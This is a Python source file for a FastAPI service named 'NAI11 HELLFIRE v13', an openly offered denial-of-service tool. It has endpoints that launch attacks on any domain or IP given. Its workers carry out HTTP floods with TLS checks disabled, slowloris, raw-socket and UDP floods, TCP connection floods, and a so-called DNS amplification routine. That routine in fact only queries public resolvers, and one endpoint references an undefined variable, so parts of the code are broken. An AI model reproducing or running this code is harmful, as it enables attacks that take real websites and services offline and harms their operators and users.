|
|
|
|
|
|
|
|
|
|
|
|
|
|
import random |
|
|
import socket |
|
|
import threading |
|
|
import time |
|
|
import struct |
|
|
import asyncio |
|
|
from collections import deque |
|
|
from typing import Dict, Optional, List |
|
|
import ssl |
|
|
|
|
|
import uvicorn |
|
|
import httpx |
|
|
from fastapi import FastAPI, HTTPException |
|
|
from pydantic import BaseModel, Field, validator |
|
|
from concurrent.futures import ThreadPoolExecutor |
|
|
|
|
|
|
|
|
import logging |
|
|
logging.basicConfig(level=logging.INFO, format="%(message)s") |
|
|
log = logging.getLogger() |
|
|
|
|
|
app = FastAPI(title="NAI11 HELLFIRE v13 - 10K+ RPS") |
|
|
|
|
|
|
|
|
attack_active = False |
|
|
attack_lock = threading.Lock() |
|
|
executor: Optional[ThreadPoolExecutor] = None |
|
|
stop_event = threading.Event() |
|
|
total_packets = 0 |
|
|
log_buffer: deque[str] = deque(maxlen=500) |
|
|
attack_end_time = 0.0 |
|
|
attack_type_name = "" |
|
|
|
|
|
|
|
|
last_time = time.time() |
|
|
last_total = 0 |
|
|
|
|
|
def _log(msg: str): |
|
|
ts = time.strftime("%H:%M:%S") |
|
|
log.info(f"{ts} {msg}") |
|
|
log_buffer.append(f"{ts} {msg}") |
|
|
|
|
|
|
|
|
def init_executor(): |
|
|
global executor |
|
|
if executor is None: |
|
|
executor = ThreadPoolExecutor(max_workers=None) |
|
|
|
|
|
|
|
|
class AttackConfig(BaseModel): |
|
|
target: str = Field(..., description="Domain or IP") |
|
|
port: int = Field(80, ge=1, le=65535) |
|
|
duration: int = Field(300, ge=-1, le=10000) |
|
|
threads: int = Field(1000, ge=1, le=1000000) |
|
|
|
|
|
@validator('target') |
|
|
def validate_target(cls, v): |
|
|
if not v or len(v) > 255: |
|
|
raise ValueError("Invalid target") |
|
|
return v.strip() |
|
|
|
|
|
class Layer7Config(AttackConfig): |
|
|
method: str = Field("get") |
|
|
@validator('method') |
|
|
def validate_method(cls, v): |
|
|
valid = ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"] |
|
|
if v not in valid: |
|
|
raise ValueError(f"L7: {', '.join(valid)}") |
|
|
return v |
|
|
|
|
|
class Layer4Config(AttackConfig): |
|
|
protocol: str = Field("udp") |
|
|
payload_size: int = Field(1024, ge=0, le=65507) |
|
|
@validator('protocol') |
|
|
def validate_protocol(cls, v): |
|
|
valid = ["udp", "syn", "ack", "dns"] |
|
|
if v not in valid: |
|
|
raise ValueError(f"L4: {', '.join(valid)}") |
|
|
return v |
|
|
|
|
|
|
|
|
class StatusResponse(BaseModel): |
|
|
running: bool |
|
|
attack_type: Optional[str] |
|
|
target: Optional[str] |
|
|
total_packets: int |
|
|
pps: float |
|
|
threads_active: int |
|
|
duration: int |
|
|
elapsed: float |
|
|
remaining: float |
|
|
logs: List[str] |
|
|
|
|
|
|
|
|
async def l7_worker_async(target: str, port: int, method: str): |
|
|
global total_packets |
|
|
headers = { |
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", |
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", |
|
|
"Accept-Language": "en-US,en;q=0.5", |
|
|
"Accept-Encoding": "gzip, deflate, br", |
|
|
"Connection": "keep-alive", |
|
|
"Upgrade-Insecure-Requests": "1", |
|
|
"Cache-Control": "no-cache", |
|
|
"Pragma": "no-cache" |
|
|
} |
|
|
|
|
|
|
|
|
protocol = "https" if port == 443 else "http" |
|
|
url = f"{protocol}://{target}:{port}/" |
|
|
|
|
|
|
|
|
ssl_context = ssl.create_default_context() |
|
|
ssl_context.check_hostname = False |
|
|
ssl_context.verify_mode = ssl.CERT_NONE |
|
|
|
|
|
transport = httpx.AsyncHTTPTransport(retries=0, verify=ssl_context) |
|
|
timeout = httpx.Timeout(10.0) |
|
|
|
|
|
async with httpx.AsyncClient(transport=transport, timeout=timeout, verify=False, http2=True) as client: |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
if method == "get": |
|
|
await client.get(url, headers=headers) |
|
|
elif method == "post": |
|
|
await client.post(url, headers=headers, data={"data": "x" * 100}) |
|
|
elif method == "head": |
|
|
await client.head(url, headers=headers) |
|
|
elif method == "put": |
|
|
await client.put(url, headers=headers, data={"data": "x" * 100}) |
|
|
elif method == "delete": |
|
|
await client.delete(url, headers=headers) |
|
|
elif method == "cookie": |
|
|
cookie_headers = {**headers, "Cookie": "session=abc123; user=test"} |
|
|
await client.get(url, headers=cookie_headers) |
|
|
elif method == "rand": |
|
|
rand_method = random.choice(["GET", "POST", "PUT", "DELETE"]) |
|
|
await client.request(rand_method, url, headers=headers) |
|
|
|
|
|
total_packets += 1 |
|
|
|
|
|
except Exception as e: |
|
|
continue |
|
|
|
|
|
|
|
|
def run_l7_worker(target: str, port: int, method: str): |
|
|
try: |
|
|
asyncio.new_event_loop().run_until_complete(l7_worker_async(target, port, method)) |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
def slowloris_worker(target: str, port: int): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
s.settimeout(5) |
|
|
s.connect((target, port)) |
|
|
|
|
|
|
|
|
s.send(f"GET / HTTP/1.1\r\nHost: {target}\r\n".encode()) |
|
|
s.send("User-Agent: Mozilla/5.0\r\n".encode()) |
|
|
s.send("Accept: text/html\r\n".encode()) |
|
|
|
|
|
|
|
|
while not stop_event.is_set(): |
|
|
s.send(f"X-{random.randint(1000,9999)}: {random.randint(1000,9999)}\r\n".encode()) |
|
|
total_packets += 1 |
|
|
time.sleep(10) |
|
|
|
|
|
except: |
|
|
time.sleep(1) |
|
|
finally: |
|
|
try: |
|
|
s.close() |
|
|
except: |
|
|
pass |
|
|
|
|
|
def http_flood_worker(target: str, port: int): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
s.settimeout(5) |
|
|
s.connect((target, port)) |
|
|
|
|
|
payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n" |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
s.send(payload.encode()) |
|
|
total_packets += 1 |
|
|
|
|
|
except: |
|
|
time.sleep(0.1) |
|
|
finally: |
|
|
try: |
|
|
s.close() |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
def udp_flood_worker(target: str, port: int, payload_size: int): |
|
|
global total_packets |
|
|
payload = random._urandom(payload_size) |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
s.sendto(payload, (target, port)) |
|
|
s.close() |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
|
|
|
def tcp_syn_worker(target: str, port: int): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
s.settimeout(1) |
|
|
s.connect((target, port)) |
|
|
s.close() |
|
|
total_packets += 1 |
|
|
except: |
|
|
total_packets += 1 |
|
|
|
|
|
def dns_amplification_worker(target: str, port: int): |
|
|
global total_packets |
|
|
|
|
|
dns_payload = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www\x06google\x03com\x00\x00\x01\x00\x01' |
|
|
|
|
|
dns_servers = [ |
|
|
"8.8.8.8", "8.8.4.4", "1.1.1.1", "1.0.0.1", |
|
|
"9.9.9.9", "149.112.112.112", "64.6.64.6", "64.6.65.6" |
|
|
] |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
for server in dns_servers: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
s.sendto(dns_payload, (server, 53)) |
|
|
s.close() |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
def resolve_target(target: str) -> str: |
|
|
"""Resolve domain to IP or return IP if already an IP""" |
|
|
try: |
|
|
|
|
|
if target.startswith(('http://', 'https://')): |
|
|
target = target.split('://', 1)[1] |
|
|
|
|
|
|
|
|
if ':' in target: |
|
|
target = target.split(':')[0] |
|
|
|
|
|
|
|
|
if '/' in target: |
|
|
target = target.split('/')[0] |
|
|
|
|
|
|
|
|
try: |
|
|
socket.inet_aton(target) |
|
|
return target |
|
|
except socket.error: |
|
|
|
|
|
return socket.gethostbyname(target) |
|
|
except Exception as e: |
|
|
raise HTTPException(status_code=400, detail=f"Cannot resolve target: {str(e)}") |
|
|
|
|
|
|
|
|
def launch_attack(config: AttackConfig, attack_type: str, **kwargs): |
|
|
global attack_active, attack_end_time, attack_type_name, total_packets |
|
|
|
|
|
with attack_lock: |
|
|
if attack_active: |
|
|
raise HTTPException(status_code=400, detail="Attack already in progress") |
|
|
|
|
|
attack_active = True |
|
|
stop_event.clear() |
|
|
total_packets = 0 |
|
|
attack_type_name = attack_type.upper() |
|
|
|
|
|
duration = float('inf') if config.duration == -1 else config.duration |
|
|
attack_end_time = time.time() + duration |
|
|
|
|
|
_log(f"π NAI11 HELLFIRE {attack_type.upper()} LAUNCHED") |
|
|
_log(f"π― Target: {config.target}:{config.port}") |
|
|
_log(f"π Threads: {config.threads} | Duration: {config.duration}s") |
|
|
|
|
|
init_executor() |
|
|
|
|
|
try: |
|
|
target_ip = resolve_target(config.target) |
|
|
_log(f"π Resolved IP: {target_ip}") |
|
|
except Exception as e: |
|
|
with attack_lock: |
|
|
attack_active = False |
|
|
raise HTTPException(status_code=400, detail=str(e)) |
|
|
|
|
|
|
|
|
if attack_type.startswith("l7_"): |
|
|
method = kwargs.get("method", "get") |
|
|
|
|
|
if method == "slowloris": |
|
|
worker = lambda: slowloris_worker(target_ip, config.port) |
|
|
elif method == "reflect": |
|
|
worker = lambda: dns_amplification_worker(target_ip, config.port) |
|
|
else: |
|
|
worker = lambda: run_l7_worker(target_ip, config.port, method) |
|
|
|
|
|
for _ in range(config.threads): |
|
|
executor.submit(worker) |
|
|
|
|
|
elif attack_type.startswith("l4_"): |
|
|
protocol = kwargs.get("protocol", "udp") |
|
|
payload_size = kwargs.get("payload_size", 1024) |
|
|
|
|
|
if protocol == "udp": |
|
|
worker = lambda: udp_flood_worker(target_ip, config.port, payload_size) |
|
|
elif protocol == "syn": |
|
|
worker = lambda: tcp_syn_worker(target_ip, config.port) |
|
|
elif protocol == "dns": |
|
|
worker = lambda: dns_amplification_worker(target_ip, config.port) |
|
|
|
|
|
for _ in range(config.threads): |
|
|
executor.submit(worker) |
|
|
|
|
|
|
|
|
if duration != float('inf'): |
|
|
def auto_stop(): |
|
|
time.sleep(duration) |
|
|
stop_attack() |
|
|
_log("β° Attack duration completed - AUTO STOPPED") |
|
|
|
|
|
threading.Thread(target=auto_stop, daemon=True).start() |
|
|
|
|
|
|
|
|
def stop_attack(): |
|
|
global attack_active |
|
|
with attack_lock: |
|
|
if not attack_active: |
|
|
return {"status": "no_attack"} |
|
|
|
|
|
stop_event.set() |
|
|
attack_active = False |
|
|
|
|
|
if executor: |
|
|
executor.shutdown(wait=False) |
|
|
|
|
|
_log("π NAI11 HELLFIRE STOPPED") |
|
|
|
|
|
return {"status": "stopped"} |
|
|
|
|
|
|
|
|
@app.post("/layer7/attack") |
|
|
def l7_attack(config: Layer7Config): |
|
|
launch_attack(config, f"l7_{config.method}", method=config.method) |
|
|
return {"status": "NAI11 L7 ATTACK LAUNCHED", "method": config.method, "target": config.target} |
|
|
|
|
|
@app.post("/layer4/attack") |
|
|
def l4_attack(config: Layer4Config): |
|
|
launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size) |
|
|
return {"status": "NAI11 L4 ATTACK LAUNCHED", "protocol": config.protocol, "target": config.target} |
|
|
|
|
|
@app.post("/stop") |
|
|
def stop_attack_endpoint(): |
|
|
return stop_attack() |
|
|
|
|
|
@app.get("/status", response_model=StatusResponse) |
|
|
def get_status(): |
|
|
global last_time, last_total |
|
|
|
|
|
now = time.time() |
|
|
elapsed = now - last_time |
|
|
current_total = total_packets |
|
|
|
|
|
|
|
|
if elapsed > 0: |
|
|
pps = (current_total - last_total) / elapsed |
|
|
else: |
|
|
pps = 0 |
|
|
|
|
|
last_time = now |
|
|
last_total = current_total |
|
|
|
|
|
|
|
|
active_threads = threading.active_count() - 1 |
|
|
|
|
|
|
|
|
elapsed_time = now - (attack_end_time - (config.duration if attack_active else 0)) if attack_active else 0 |
|
|
remaining_time = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1 |
|
|
|
|
|
return StatusResponse( |
|
|
running=attack_active, |
|
|
attack_type=attack_type_name if attack_active else None, |
|
|
target=None, |
|
|
total_packets=current_total, |
|
|
pps=round(pps, 1), |
|
|
threads_active=active_threads, |
|
|
duration=config.duration if attack_active else 0, |
|
|
elapsed=round(elapsed_time, 1), |
|
|
remaining=round(remaining_time, 1) if remaining_time >= 0 else -1, |
|
|
logs=list(log_buffer)[-20:] |
|
|
) |
|
|
|
|
|
@app.get("/attack/types") |
|
|
def get_attack_types(): |
|
|
return { |
|
|
"layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"], |
|
|
"layer4": ["udp", "syn", "dns"], |
|
|
"max_threads": "UNLIMITED", |
|
|
"max_rps": "10,000+ per node" |
|
|
} |
|
|
|
|
|
@app.get("/") |
|
|
def root(): |
|
|
return {"message": "NAI11 HELLFIRE v13 - FULLY WORKING | LAYER 7 & 4 FIXED"} |
|
|
|
|
|
|
|
|
if __name__ == "__main__": |
|
|
_log("π₯ NAI11 HELLFIRE v13 STARTED - LAYER 7 & 4 FIXED") |
|
|
_log("π API Running on http://0.0.0.0:8000") |
|
|
init_executor() |
|
|
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, access_log=False) |